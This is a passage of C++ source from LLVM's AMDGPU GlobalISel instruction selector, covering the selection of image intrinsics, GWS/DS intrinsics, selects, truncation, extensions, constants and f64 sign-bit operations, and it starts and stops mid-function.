return false;
}
Register M0Base = MRI->createVirtualRegister(&AMDGPU::SReg_32RegClass);
BuildMI(*MBB, &MI, DL, TII.get(AMDGPU::S_LSHL_B32), M0Base)
.addReg(BaseOffset)
.addImm(16);
BuildMI(*MBB, &MI, DL, TII.get(AMDGPU::COPY), AMDGPU::M0)
.addReg(M0Base);
}
// The resource id offset is computed as (<isa opaque base> + M0[21:16] +
// offset field) % 64. Some versions of the programming guide omit the m0
// part, or claim it's from offset 0.
auto MIB = BuildMI(*MBB, &MI, DL, TII.get(gwsIntrinToOpcode(IID)));
if (HasVSrc) {
Register VSrc = MI.getOperand(1).getReg();
MIB.addReg(VSrc);
if (!RBI.constrainGenericRegister(VSrc, AMDGPU::VGPR_32RegClass, *MRI))
return false;
}
MIB.addImm(ImmOffset)
.addImm(-1) // $gds
.cloneMemRefs(MI);
MI.eraseFromParent();
return true;
}
bool AMDGPUInstructionSelector::selectDSAppendConsume(MachineInstr &MI,
bool IsAppend) const {
Register PtrBase = MI.getOperand(2).getReg();
LLT PtrTy = MRI->getType(PtrBase);
bool IsGDS = PtrTy.getAddressSpace() == AMDGPUAS::REGION_ADDRESS;
unsigned Offset;
std::tie(PtrBase, Offset) = selectDS1Addr1OffsetImpl(MI.getOperand(2));
// TODO: Should this try to look through readfirstlane like GWS?
if (!isDSOffsetLegal(PtrBase, Offset, 16)) {
PtrBase = MI.getOperand(2).getReg();
Offset = 0;
}
MachineBasicBlock *MBB = MI.getParent();
const DebugLoc &DL = MI.getDebugLoc();
const unsigned Opc = IsAppend ? AMDGPU::DS_APPEND : AMDGPU::DS_CONSUME;
BuildMI(*MBB, &MI, DL, TII.get(AMDGPU::COPY), AMDGPU::M0)
.addReg(PtrBase);
if (!RBI.constrainGenericRegister(PtrBase, AMDGPU::SReg_32RegClass, *MRI))
return false;
auto MIB = BuildMI(*MBB, &MI, DL, TII.get(Opc), MI.getOperand(0).getReg())
.addImm(Offset)
.addImm(IsGDS ? -1 : 0)
.cloneMemRefs(MI);
MI.eraseFromParent();
return constrainSelectedInstRegOperands(*MIB, TII, TRI, RBI);
}
static bool parseTexFail(uint64_t TexFailCtrl, bool &TFE, bool &LWE,
bool &IsTexFail) {
if (TexFailCtrl)
IsTexFail = true;
TFE = (TexFailCtrl & 0x1) ? 1 : 0;
TexFailCtrl &= ~(uint64_t)0x1;
LWE = (TexFailCtrl & 0x2) ? 1 : 0;
TexFailCtrl &= ~(uint64_t)0x2;
return TexFailCtrl == 0;
}
static bool parseCachePolicy(uint64_t Value,
bool *GLC, bool *SLC, bool *DLC) {
if (GLC) {
*GLC = (Value & 0x1) ? 1 : 0;
Value &= ~(uint64_t)0x1;
}
if (SLC) {
*SLC = (Value & 0x2) ? 1 : 0;
Value &= ~(uint64_t)0x2;
}
if (DLC) {
*DLC = (Value & 0x4) ? 1 : 0;
Value &= ~(uint64_t)0x4;
}
return Value == 0;
}
bool AMDGPUInstructionSelector::selectImageIntrinsic(
MachineInstr &MI, const AMDGPU::ImageDimIntrinsicInfo *Intr) const {
MachineBasicBlock *MBB = MI.getParent();
const DebugLoc &DL = MI.getDebugLoc();
const AMDGPU::MIMGBaseOpcodeInfo *BaseOpcode =
AMDGPU::getMIMGBaseOpcodeInfo(Intr->BaseOpcode);
const AMDGPU::MIMGDimInfo *DimInfo = AMDGPU::getMIMGDimInfo(Intr->Dim);
const AMDGPU::MIMGLZMappingInfo *LZMappingInfo =
AMDGPU::getMIMGLZMappingInfo(Intr->BaseOpcode);
const AMDGPU::MIMGMIPMappingInfo *MIPMappingInfo =
AMDGPU::getMIMGMIPMappingInfo(Intr->BaseOpcode);
unsigned IntrOpcode = Intr->BaseOpcode;
const bool IsGFX10 = STI.getGeneration() >= AMDGPUSubtarget::GFX10;
const int VAddrIdx = getImageVAddrIdxBegin(BaseOpcode,
MI.getNumExplicitDefs());
int NumVAddr, NumGradients;
std::tie(NumVAddr, NumGradients) = getImageNumVAddr(Intr, BaseOpcode);
Register VDataIn, VDataOut;
LLT VDataTy;
int NumVDataDwords = -1;
bool IsD16 = false;
// XXX - Can we just get the second to last argument for ctrl?
unsigned CtrlIdx; // Index of texfailctrl argument
bool Unorm;
if (!BaseOpcode->Sampler) {
Unorm = true;
CtrlIdx = VAddrIdx + NumVAddr + 1;
} else {
Unorm = MI.getOperand(VAddrIdx + NumVAddr + 2).getImm() != 0;
CtrlIdx = VAddrIdx + NumVAddr + 3;
}
bool TFE;
bool LWE;
bool IsTexFail = false;
if (!parseTexFail(MI.getOperand(CtrlIdx).getImm(), TFE, LWE, IsTexFail))
return false;
const int Flags = MI.getOperand(CtrlIdx + 2).getImm();
const bool IsA16 = (Flags & 1) != 0;
const bool IsG16 = (Flags & 2) != 0;
// A16 implies 16 bit gradients
if (IsA16 && !IsG16)
return false;
unsigned DMask = 0;
unsigned DMaskLanes = 0;
if (BaseOpcode->Atomic) {
VDataOut = MI.getOperand(0).getReg();
VDataIn = MI.getOperand(2).getReg();
LLT Ty = MRI->getType(VDataIn);
// Be careful to allow atomic swap on 16-bit element vectors.
const bool Is64Bit = BaseOpcode->AtomicX2 ?
Ty.getSizeInBits() == 128 :
Ty.getSizeInBits() == 64;
if (BaseOpcode->AtomicX2) {
assert(MI.getOperand(3).getReg() == AMDGPU::NoRegister);
DMask = Is64Bit ? 0xf : 0x3;
NumVDataDwords = Is64Bit ? 4 : 2;
} else {
DMask = Is64Bit ? 0x3 : 0x1;
NumVDataDwords = Is64Bit ? 2 : 1;
}
} else {
const int DMaskIdx = 2; // Input/output + intrinsic ID.
DMask = MI.getOperand(DMaskIdx).getImm();
DMaskLanes = BaseOpcode->Gather4 ? 4 : countPopulation(DMask);
if (BaseOpcode->Store) {
VDataIn = MI.getOperand(1).getReg();
VDataTy = MRI->getType(VDataIn);
NumVDataDwords = (VDataTy.getSizeInBits() + 31) / 32;
} else {
VDataOut = MI.getOperand(0).getReg();
VDataTy = MRI->getType(VDataOut);
NumVDataDwords = DMaskLanes;
// One memoperand is mandatory, except for getresinfo.
// FIXME: Check this in verifier.
if (!MI.memoperands_empty()) {
const MachineMemOperand *MMO = *MI.memoperands_begin();
// Infer d16 from the memory size, as the register type will be mangled by
// unpacked subtargets, or by TFE.
IsD16 = ((8 * MMO->getSize()) / DMaskLanes) < 32;
if (IsD16 && !STI.hasUnpackedD16VMem())
NumVDataDwords = (DMaskLanes + 1) / 2;
}
}
}
// Optimize _L to _LZ when _L is zero
if (LZMappingInfo) {
// The legalizer replaced the register with an immediate 0 if we need to
// change the opcode.
const MachineOperand &Lod = MI.getOperand(VAddrIdx + NumVAddr - 1);
if (Lod.isImm()) {
assert(Lod.getImm() == 0);
IntrOpcode = LZMappingInfo->LZ; // set new opcode to _lz variant of _l
}
}
// Optimize _mip away, when 'lod' is zero
if (MIPMappingInfo) {
const MachineOperand &Lod = MI.getOperand(VAddrIdx + NumVAddr - 1);
if (Lod.isImm()) {
assert(Lod.getImm() == 0);
IntrOpcode = MIPMappingInfo->NONMIP; // set new opcode to variant without _mip
}
}
// Set G16 opcode
if (IsG16 && !IsA16) {
const AMDGPU::MIMGG16MappingInfo *G16MappingInfo =
AMDGPU::getMIMGG16MappingInfo(Intr->BaseOpcode);
assert(G16MappingInfo);
IntrOpcode = G16MappingInfo->G16; // set opcode to variant with _g16
}
// TODO: Check this in verifier.
assert((!IsTexFail || DMaskLanes >= 1) && "should have legalized this");
bool GLC = false;
bool SLC = false;
bool DLC = false;
if (BaseOpcode->Atomic) {
GLC = true; // TODO no-return optimization
if (!parseCachePolicy(MI.getOperand(CtrlIdx + 1).getImm(), nullptr, &SLC,
IsGFX10 ? &DLC : nullptr))
return false;
} else {
if (!parseCachePolicy(MI.getOperand(CtrlIdx + 1).getImm(), &GLC, &SLC,
IsGFX10 ? &DLC : nullptr))
return false;
}
int NumVAddrRegs = 0;
int NumVAddrDwords = 0;
for (int I = 0; I < NumVAddr; ++I) {
// Skip the $noregs and 0s inserted during legalization.
MachineOperand &AddrOp = MI.getOperand(VAddrIdx + I);
if (!AddrOp.isReg())
continue; // XXX - Break?
Register Addr = AddrOp.getReg();
if (!Addr)
break;
++NumVAddrRegs;
NumVAddrDwords += (MRI->getType(Addr).getSizeInBits() + 31) / 32;
}
// The legalizer preprocessed the intrinsic arguments. If we aren't using
// NSA, these should have beeen packed into a single value in the first
// address register
const bool UseNSA = NumVAddrRegs != 1 && NumVAddrDwords == NumVAddrRegs;
if (UseNSA && !STI.hasFeature(AMDGPU::FeatureNSAEncoding)) {
LLVM_DEBUG(dbgs() << "Trying to use NSA on non-NSA target\n");
return false;
}
if (IsTexFail)
++NumVDataDwords;
int Opcode = -1;
if (IsGFX10) {
Opcode = AMDGPU::getMIMGOpcode(IntrOpcode,
UseNSA ? AMDGPU::MIMGEncGfx10NSA
: AMDGPU::MIMGEncGfx10Default,
NumVDataDwords, NumVAddrDwords);
} else {
if (STI.getGeneration() >= AMDGPUSubtarget::VOLCANIC_ISLANDS)
Opcode = AMDGPU::getMIMGOpcode(IntrOpcode, AMDGPU::MIMGEncGfx8,
NumVDataDwords, NumVAddrDwords);
if (Opcode == -1)
Opcode = AMDGPU::getMIMGOpcode(IntrOpcode, AMDGPU::MIMGEncGfx6,
NumVDataDwords, NumVAddrDwords);
}
assert(Opcode != -1);
auto MIB = BuildMI(*MBB, &MI, DL, TII.get(Opcode))
.cloneMemRefs(MI);
if (VDataOut) {
if (BaseOpcode->AtomicX2) {
const bool Is64 = MRI->getType(VDataOut).getSizeInBits() == 64;
Register TmpReg = MRI->createVirtualRegister(
Is64 ? &AMDGPU::VReg_128RegClass : &AMDGPU::VReg_64RegClass);
unsigned SubReg = Is64 ? AMDGPU::sub0_sub1 : AMDGPU::sub0;
MIB.addDef(TmpReg);
BuildMI(*MBB, &MI, DL, TII.get(AMDGPU::COPY), VDataOut)
.addReg(TmpReg, RegState::Kill, SubReg);
} else {
MIB.addDef(VDataOut); // vdata output
}
}
if (VDataIn)
MIB.addReg(VDataIn); // vdata input
for (int i = 0; i != NumVAddrRegs; ++i) {
MachineOperand &SrcOp = MI.getOperand(VAddrIdx + i);
if (SrcOp.isReg()) {
assert(SrcOp.getReg() != 0);
MIB.addReg(SrcOp.getReg());
}
}
MIB.addReg(MI.getOperand(VAddrIdx + NumVAddr).getReg()); // rsrc
if (BaseOpcode->Sampler)
MIB.addReg(MI.getOperand(VAddrIdx + NumVAddr + 1).getReg()); // sampler
MIB.addImm(DMask); // dmask
if (IsGFX10)
MIB.addImm(DimInfo->Encoding);
MIB.addImm(Unorm);
if (IsGFX10)
MIB.addImm(DLC);
MIB.addImm(GLC);
MIB.addImm(SLC);
MIB.addImm(IsA16 && // a16 or r128
STI.hasFeature(AMDGPU::FeatureR128A16) ? -1 : 0);
if (IsGFX10)
MIB.addImm(IsA16 ? -1 : 0);
MIB.addImm(TFE); // tfe
MIB.addImm(LWE); // lwe
if (!IsGFX10)
MIB.addImm(DimInfo->DA ? -1 : 0);
if (BaseOpcode->HasD16)
MIB.addImm(IsD16 ? -1 : 0);
MI.eraseFromParent();
return constrainSelectedInstRegOperands(*MIB, TII, TRI, RBI);
}
bool AMDGPUInstructionSelector::selectG_INTRINSIC_W_SIDE_EFFECTS(
MachineInstr &I) const {
unsigned IntrinsicID = I.getIntrinsicID();
switch (IntrinsicID) {
case Intrinsic::amdgcn_end_cf:
return selectEndCfIntrinsic(I);
case Intrinsic::amdgcn_ds_ordered_add:
case Intrinsic::amdgcn_ds_ordered_swap:
return selectDSOrderedIntrinsic(I, IntrinsicID);
case Intrinsic::amdgcn_ds_gws_init:
case Intrinsic::amdgcn_ds_gws_barrier:
case Intrinsic::amdgcn_ds_gws_sema_v:
case Intrinsic::amdgcn_ds_gws_sema_br:
case Intrinsic::amdgcn_ds_gws_sema_p:
case Intrinsic::amdgcn_ds_gws_sema_release_all:
return selectDSGWSIntrinsic(I, IntrinsicID);
case Intrinsic::amdgcn_ds_append:
return selectDSAppendConsume(I, true);
case Intrinsic::amdgcn_ds_consume:
return selectDSAppendConsume(I, false);
default: {
return selectImpl(I, *CoverageInfo);
}
}
}
bool AMDGPUInstructionSelector::selectG_SELECT(MachineInstr &I) const {
if (selectImpl(I, *CoverageInfo))
return true;
MachineBasicBlock *BB = I.getParent();
const DebugLoc &DL = I.getDebugLoc();
Register DstReg = I.getOperand(0).getReg();
unsigned Size = RBI.getSizeInBits(DstReg, *MRI, TRI);
assert(Size <= 32 || Size == 64);
const MachineOperand &CCOp = I.getOperand(1);
Register CCReg = CCOp.getReg();
if (!isVCC(CCReg, *MRI)) {
unsigned SelectOpcode = Size == 64 ? AMDGPU::S_CSELECT_B64 :
AMDGPU::S_CSELECT_B32;
MachineInstr *CopySCC = BuildMI(*BB, &I, DL, TII.get(AMDGPU::COPY), AMDGPU::SCC)
.addReg(CCReg);
// The generic constrainSelectedInstRegOperands doesn't work for the scc register
// bank, because it does not cover the register class that we used to represent
// for it. So we need to manually set the register class here.
if (!MRI->getRegClassOrNull(CCReg))
MRI->setRegClass(CCReg, TRI.getConstrainedRegClassForOperand(CCOp, *MRI));
MachineInstr *Select = BuildMI(*BB, &I, DL, TII.get(SelectOpcode), DstReg)
.add(I.getOperand(2))
.add(I.getOperand(3));
bool Ret = constrainSelectedInstRegOperands(*Select, TII, TRI, RBI) |
constrainSelectedInstRegOperands(*CopySCC, TII, TRI, RBI);
I.eraseFromParent();
return Ret;
}
// Wide VGPR select should have been split in RegBankSelect.
if (Size > 32)
return false;
MachineInstr *Select =
BuildMI(*BB, &I, DL, TII.get(AMDGPU::V_CNDMASK_B32_e64), DstReg)
.addImm(0)
.add(I.getOperand(3))
.addImm(0)
.add(I.getOperand(2))
.add(I.getOperand(1));
bool Ret = constrainSelectedInstRegOperands(*Select, TII, TRI, RBI);
I.eraseFromParent();
return Ret;
}
static int sizeToSubRegIndex(unsigned Size) {
switch (Size) {
case 32:
return AMDGPU::sub0;
case 64:
return AMDGPU::sub0_sub1;
case 96:
return AMDGPU::sub0_sub1_sub2;
case 128:
return AMDGPU::sub0_sub1_sub2_sub3;
case 256:
return AMDGPU::sub0_sub1_sub2_sub3_sub4_sub5_sub6_sub7;
default:
if (Size < 32)
return AMDGPU::sub0;
if (Size > 256)
return -1;
return sizeToSubRegIndex(PowerOf2Ceil(Size));
}
}
bool AMDGPUInstructionSelector::selectG_TRUNC(MachineInstr &I) const {
Register DstReg = I.getOperand(0).getReg();
Register SrcReg = I.getOperand(1).getReg();
const LLT DstTy = MRI->getType(DstReg);
const LLT SrcTy = MRI->getType(SrcReg);
const LLT S1 = LLT::scalar(1);
const RegisterBank *SrcRB = RBI.getRegBank(SrcReg, *MRI, TRI);
const RegisterBank *DstRB;
if (DstTy == S1) {
// This is a special case. We don't treat s1 for legalization artifacts as
// vcc booleans.
DstRB = SrcRB;
} else {
DstRB = RBI.getRegBank(DstReg, *MRI, TRI);
if (SrcRB != DstRB)
return false;
}
const bool IsVALU = DstRB->getID() == AMDGPU::VGPRRegBankID;
unsigned DstSize = DstTy.getSizeInBits();
unsigned SrcSize = SrcTy.getSizeInBits();
const TargetRegisterClass *SrcRC
= TRI.getRegClassForSizeOnBank(SrcSize, *SrcRB, *MRI);
const TargetRegisterClass *DstRC
= TRI.getRegClassForSizeOnBank(DstSize, *DstRB, *MRI);
if (!SrcRC || !DstRC)
return false;
if (!RBI.constrainGenericRegister(SrcReg, *SrcRC, *MRI) ||
!RBI.constrainGenericRegister(DstReg, *DstRC, *MRI)) {
LLVM_DEBUG(dbgs() << "Failed to constrain G_TRUNC\n");
return false;
}
if (DstTy == LLT::vector(2, 16) && SrcTy == LLT::vector(2, 32)) {
MachineBasicBlock *MBB = I.getParent();
const DebugLoc &DL = I.getDebugLoc();
Register LoReg = MRI->createVirtualRegister(DstRC);
Register HiReg = MRI->createVirtualRegister(DstRC);
BuildMI(*MBB, I, DL, TII.get(AMDGPU::COPY), LoReg)
.addReg(SrcReg, 0, AMDGPU::sub0);
BuildMI(*MBB, I, DL, TII.get(AMDGPU::COPY), HiReg)
.addReg(SrcReg, 0, AMDGPU::sub1);
if (IsVALU && STI.hasSDWA()) {
// Write the low 16-bits of the high element into the high 16-bits of the
// low element.
MachineInstr *MovSDWA =
BuildMI(*MBB, I, DL, TII.get(AMDGPU::V_MOV_B32_sdwa), DstReg)
.addImm(0) // $src0_modifiers
.addReg(HiReg) // $src0
.addImm(0) // $clamp
.addImm(AMDGPU::SDWA::WORD_1) // $dst_sel
.addImm(AMDGPU::SDWA::UNUSED_PRESERVE) // $dst_unused
.addImm(AMDGPU::SDWA::WORD_0) // $src0_sel
.addReg(LoReg, RegState::Implicit);
MovSDWA->tieOperands(0, MovSDWA->getNumOperands() - 1);
} else {
Register TmpReg0 = MRI->createVirtualRegister(DstRC);
Register TmpReg1 = MRI->createVirtualRegister(DstRC);
Register ImmReg = MRI->createVirtualRegister(DstRC);
if (IsVALU) {
BuildMI(*MBB, I, DL, TII.get(AMDGPU::V_LSHLREV_B32_e64), TmpReg0)
.addImm(16)
.addReg(HiReg);
} else {
BuildMI(*MBB, I, DL, TII.get(AMDGPU::S_LSHL_B32), TmpReg0)
.addReg(HiReg)
.addImm(16);
}
unsigned MovOpc = IsVALU ? AMDGPU::V_MOV_B32_e32 : AMDGPU::S_MOV_B32;
unsigned AndOpc = IsVALU ? AMDGPU::V_AND_B32_e64 : AMDGPU::S_AND_B32;
unsigned OrOpc = IsVALU ? AMDGPU::V_OR_B32_e64 : AMDGPU::S_OR_B32;
BuildMI(*MBB, I, DL, TII.get(MovOpc), ImmReg)
.addImm(0xffff);
BuildMI(*MBB, I, DL, TII.get(AndOpc), TmpReg1)
.addReg(LoReg)
.addReg(ImmReg);
BuildMI(*MBB, I, DL, TII.get(OrOpc), DstReg)
.addReg(TmpReg0)
.addReg(TmpReg1);
}
I.eraseFromParent();
return true;
}
if (!DstTy.isScalar())
return false;
if (SrcSize > 32) {
int SubRegIdx = sizeToSubRegIndex(DstSize);
if (SubRegIdx == -1)
return false;
// Deal with weird cases where the class only partially supports the subreg
// index.
const TargetRegisterClass *SrcWithSubRC
= TRI.getSubClassWithSubReg(SrcRC, SubRegIdx);
if (!SrcWithSubRC)
return false;
if (SrcWithSubRC != SrcRC) {
if (!RBI.constrainGenericRegister(SrcReg, *SrcWithSubRC, *MRI))
return false;
}
I.getOperand(1).setSubReg(SubRegIdx);
}
I.setDesc(TII.get(TargetOpcode::COPY));
return true;
}
/// \returns true if a bitmask for \p Size bits will be an inline immediate.
static bool shouldUseAndMask(unsigned Size, unsigned &Mask) {
Mask = maskTrailingOnes<unsigned>(Size);
int SignedMask = static_cast<int>(Mask);
return SignedMask >= -16 && SignedMask <= 64;
}
// Like RegisterBankInfo::getRegBank, but don't assume vcc for s1.
const RegisterBank *AMDGPUInstructionSelector::getArtifactRegBank(
Register Reg, const MachineRegisterInfo &MRI,
const TargetRegisterInfo &TRI) const {
const RegClassOrRegBank &RegClassOrBank = MRI.getRegClassOrRegBank(Reg);
if (auto *RB = RegClassOrBank.dyn_cast<const RegisterBank *>())
return RB;
// Ignore the type, since we don't use vcc in artifacts.
if (auto *RC = RegClassOrBank.dyn_cast<const TargetRegisterClass *>())
return &RBI.getRegBankFromRegClass(*RC, LLT());
return nullptr;
}
bool AMDGPUInstructionSelector::selectG_SZA_EXT(MachineInstr &I) const {
bool InReg = I.getOpcode() == AMDGPU::G_SEXT_INREG;
bool Signed = I.getOpcode() == AMDGPU::G_SEXT || InReg;
const DebugLoc &DL = I.getDebugLoc();
MachineBasicBlock &MBB = *I.getParent();
const Register DstReg = I.getOperand(0).getReg();
const Register SrcReg = I.getOperand(1).getReg();
const LLT DstTy = MRI->getType(DstReg);
const LLT SrcTy = MRI->getType(SrcReg);
const unsigned SrcSize = I.getOpcode() == AMDGPU::G_SEXT_INREG ?
I.getOperand(2).getImm() : SrcTy.getSizeInBits();
const unsigned DstSize = DstTy.getSizeInBits();
if (!DstTy.isScalar())
return false;
// Artifact casts should never use vcc.
const RegisterBank *SrcBank = getArtifactRegBank(SrcReg, *MRI, TRI);
// FIXME: This should probably be illegal and split earlier.
if (I.getOpcode() == AMDGPU::G_ANYEXT) {
if (DstSize <= 32)
return selectCOPY(I);
const TargetRegisterClass *SrcRC =
TRI.getRegClassForTypeOnBank(SrcTy, *SrcBank, *MRI);
const RegisterBank *DstBank = RBI.getRegBank(DstReg, *MRI, TRI);
const TargetRegisterClass *DstRC =
TRI.getRegClassForSizeOnBank(DstSize, *DstBank, *MRI);
Register UndefReg = MRI->createVirtualRegister(SrcRC);
BuildMI(MBB, I, DL, TII.get(AMDGPU::IMPLICIT_DEF), UndefReg);
BuildMI(MBB, I, DL, TII.get(AMDGPU::REG_SEQUENCE), DstReg)
.addReg(SrcReg)
.addImm(AMDGPU::sub0)
.addReg(UndefReg)
.addImm(AMDGPU::sub1);
I.eraseFromParent();
return RBI.constrainGenericRegister(DstReg, *DstRC, *MRI) &&
RBI.constrainGenericRegister(SrcReg, *SrcRC, *MRI);
}
if (SrcBank->getID() == AMDGPU::VGPRRegBankID && DstSize <= 32) {
// 64-bit should have been split up in RegBankSelect
// Try to use an and with a mask if it will save code size.
unsigned Mask;
if (!Signed && shouldUseAndMask(SrcSize, Mask)) {
MachineInstr *ExtI =
BuildMI(MBB, I, DL, TII.get(AMDGPU::V_AND_B32_e32), DstReg)
.addImm(Mask)
.addReg(SrcReg);
I.eraseFromParent();
return constrainSelectedInstRegOperands(*ExtI, TII, TRI, RBI);
}
const unsigned BFE = Signed ? AMDGPU::V_BFE_I32 : AMDGPU::V_BFE_U32;
MachineInstr *ExtI =
BuildMI(MBB, I, DL, TII.get(BFE), DstReg)
.addReg(SrcReg)
.addImm(0) // Offset
.addImm(SrcSize); // Width
I.eraseFromParent();
return constrainSelectedInstRegOperands(*ExtI, TII, TRI, RBI);
}
if (SrcBank->getID() == AMDGPU::SGPRRegBankID && DstSize <= 64) {
const TargetRegisterClass &SrcRC = InReg && DstSize > 32 ?
AMDGPU::SReg_64RegClass : AMDGPU::SReg_32RegClass;
if (!RBI.constrainGenericRegister(SrcReg, SrcRC, *MRI))
return false;
if (Signed && DstSize == 32 && (SrcSize == 8 || SrcSize == 16)) {
const unsigned SextOpc = SrcSize == 8 ?
AMDGPU::S_SEXT_I32_I8 : AMDGPU::S_SEXT_I32_I16;
BuildMI(MBB, I, DL, TII.get(SextOpc), DstReg)
.addReg(SrcReg);
I.eraseFromParent();
return RBI.constrainGenericRegister(DstReg, AMDGPU::SReg_32RegClass, *MRI);
}
const unsigned BFE64 = Signed ? AMDGPU::S_BFE_I64 : AMDGPU::S_BFE_U64;
const unsigned BFE32 = Signed ? AMDGPU::S_BFE_I32 : AMDGPU::S_BFE_U32;
// Scalar BFE is encoded as S1[5:0] = offset, S1[22:16]= width.
if (DstSize > 32 && (SrcSize <= 32 || InReg)) {
// We need a 64-bit register source, but the high bits don't matter.
Register ExtReg = MRI->createVirtualRegister(&AMDGPU::SReg_64RegClass);
Register UndefReg = MRI->createVirtualRegister(&AMDGPU::SReg_32RegClass);
unsigned SubReg = InReg ? AMDGPU::sub0 : 0;
BuildMI(MBB, I, DL, TII.get(AMDGPU::IMPLICIT_DEF), UndefReg);
BuildMI(MBB, I, DL, TII.get(AMDGPU::REG_SEQUENCE), ExtReg)
.addReg(SrcReg, 0, SubReg)
.addImm(AMDGPU::sub0)
.addReg(UndefReg)
.addImm(AMDGPU::sub1);
BuildMI(MBB, I, DL, TII.get(BFE64), DstReg)
.addReg(ExtReg)
.addImm(SrcSize << 16);
I.eraseFromParent();
return RBI.constrainGenericRegister(DstReg, AMDGPU::SReg_64RegClass, *MRI);
}
unsigned Mask;
if (!Signed && shouldUseAndMask(SrcSize, Mask)) {
BuildMI(MBB, I, DL, TII.get(AMDGPU::S_AND_B32), DstReg)
.addReg(SrcReg)
.addImm(Mask);
} else {
BuildMI(MBB, I, DL, TII.get(BFE32), DstReg)
.addReg(SrcReg)
.addImm(SrcSize << 16);
}
I.eraseFromParent();
return RBI.constrainGenericRegister(DstReg, AMDGPU::SReg_32RegClass, *MRI);
}
return false;
}
bool AMDGPUInstructionSelector::selectG_CONSTANT(MachineInstr &I) const {
MachineBasicBlock *BB = I.getParent();
MachineOperand &ImmOp = I.getOperand(1);
// The AMDGPU backend only supports Imm operands and not CImm or FPImm.
if (ImmOp.isFPImm()) {
const APInt &Imm = ImmOp.getFPImm()->getValueAPF().bitcastToAPInt();
ImmOp.ChangeToImmediate(Imm.getZExtValue());
} else if (ImmOp.isCImm()) {
ImmOp.ChangeToImmediate(ImmOp.getCImm()->getSExtValue());
}
Register DstReg = I.getOperand(0).getReg();
unsigned Size;
bool IsSgpr;
const RegisterBank *RB = MRI->getRegBankOrNull(I.getOperand(0).getReg());
if (RB) {
IsSgpr = RB->getID() == AMDGPU::SGPRRegBankID;
Size = MRI->getType(DstReg).getSizeInBits();
} else {
const TargetRegisterClass *RC = TRI.getRegClassForReg(*MRI, DstReg);
IsSgpr = TRI.isSGPRClass(RC);
Size = TRI.getRegSizeInBits(*RC);
}
if (Size != 32 && Size != 64)
return false;
unsigned Opcode = IsSgpr ? AMDGPU::S_MOV_B32 : AMDGPU::V_MOV_B32_e32;
if (Size == 32) {
I.setDesc(TII.get(Opcode));
I.addImplicitDefUseOperands(*MF);
return constrainSelectedInstRegOperands(I, TII, TRI, RBI);
}
const DebugLoc &DL = I.getDebugLoc();
APInt Imm(Size, I.getOperand(1).getImm());
MachineInstr *ResInst;
if (IsSgpr && TII.isInlineConstant(Imm)) {
ResInst = BuildMI(*BB, &I, DL, TII.get(AMDGPU::S_MOV_B64), DstReg)
.addImm(I.getOperand(1).getImm());
} else {
const TargetRegisterClass *RC = IsSgpr ?
&AMDGPU::SReg_32RegClass : &AMDGPU::VGPR_32RegClass;
Register LoReg = MRI->createVirtualRegister(RC);
Register HiReg = MRI->createVirtualRegister(RC);
BuildMI(*BB, &I, DL, TII.get(Opcode), LoReg)
.addImm(Imm.trunc(32).getZExtValue());
BuildMI(*BB, &I, DL, TII.get(Opcode), HiReg)
.addImm(Imm.ashr(32).getZExtValue());
ResInst = BuildMI(*BB, &I, DL, TII.get(AMDGPU::REG_SEQUENCE), DstReg)
.addReg(LoReg)
.addImm(AMDGPU::sub0)
.addReg(HiReg)
.addImm(AMDGPU::sub1);
}
// We can't call constrainSelectedInstRegOperands here, because it doesn't
// work for target independent opcodes
I.eraseFromParent();
const TargetRegisterClass *DstRC =
TRI.getConstrainedRegClassForOperand(ResInst->getOperand(0), *MRI);
if (!DstRC)
return true;
return RBI.constrainGenericRegister(DstReg, *DstRC, *MRI);
}
bool AMDGPUInstructionSelector::selectG_FNEG(MachineInstr &MI) const {
// Only manually handle the f64 SGPR case.
//
// FIXME: This is a workaround for 2.5 different tablegen problems. Because
// the bit ops theoretically have a second result due to the implicit def of
// SCC, the GlobalISelEmitter is overly conservative and rejects it. Fixing
// that is easy by disabling the check. The result works, but uses a
// nonsensical sreg32orlds_and_sreg_1 regclass.
//
// The DAG emitter is more problematic, and incorrectly adds both S_XOR_B32 to
// the variadic REG_SEQUENCE operands.
Register Dst = MI.getOperand(0).getReg();
const RegisterBank *DstRB = RBI.getRegBank(Dst, *MRI, TRI);
if (DstRB->getID() != AMDGPU::SGPRRegBankID ||
MRI->getType(Dst) != LLT::scalar(64))
return false;
Register Src = MI.getOperand(1).getReg();
MachineInstr *Fabs = getOpcodeDef(TargetOpcode::G_FABS, Src, *MRI);
if (Fabs)
Src = Fabs->getOperand(1).getReg();
if (!RBI.constrainGenericRegister(Src, AMDGPU::SReg_64RegClass, *MRI) ||
!RBI.constrainGenericRegister(Dst, AMDGPU::SReg_64RegClass, *MRI))
return false;
MachineBasicBlock *BB = MI.getParent();
const DebugLoc &DL = MI.getDebugLoc();
Register LoReg = MRI->createVirtualRegister(&AMDGPU::SReg_32RegClass);
Register HiReg = MRI->createVirtualRegister(&AMDGPU::SReg_32RegClass);
Register ConstReg = MRI->createVirtualRegister(&AMDGPU::SReg_32RegClass);
Register OpReg = MRI->createVirtualRegister(&AMDGPU::SReg_32RegClass);
BuildMI(*BB, &MI, DL, TII.get(AMDGPU::COPY), LoReg)
.addReg(Src, 0, AMDGPU::sub0);
BuildMI(*BB, &MI, DL, TII.get(AMDGPU::COPY), HiReg)
.addReg(Src, 0, AMDGPU::sub1);
BuildMI(*BB, &MI, DL, TII.get(AMDGPU::S_MOV_B32), ConstReg)
.addImm(0x80000000);
// Set or toggle sign bit.
unsigned Opc = Fabs ? AMDGPU::S_OR_B32 : AMDGPU::S_XOR_B32;
BuildMI(*BB, &MI, DL, TII.get(Opc), OpReg)
.addReg(HiReg)
.addReg(ConstReg);
BuildMI(*BB, &MI, DL, TII.get(AMDGPU::REG_SEQUENCE), Dst)
.addReg(LoReg)
.addImm(AMDGPU::sub0)
.addReg(OpReg)
.addImm(AMDGPU::sub1);
MI.eraseFromParent();
return true;
}
// FIXME: This is a workaround for the same tablegen problems as G_FNEG
bool AMDGPUInstructionSelector::selectG_FABS(MachineInstr &MI) const {
Register Dst = MI.getOperand(0).getReg();
const RegisterBank *DstRB = RBI.getRegBank(Dst, *MRI, TRI);
if (DstRB->getID() != AMDGPU::SGPRRegBankID ||
MRI->getType(Dst) != LLT::scalar(64))
return false;
Register Src = MI.getOperand(1).getReg();
MachineBasicBlock *BB = MI.getParent();
const DebugLoc &DL = MI.getDebugLoc();
Register LoReg = MRI->createVirtualRegister(&AMDGPU::SReg_32RegClass);
Register HiReg = MRI->createVirtualRegister(&AMDGPU::SReg_32RegClass);
Register ConstReg = MRI->createVirtualRegister(&AMDGPU::SReg_32RegClass);
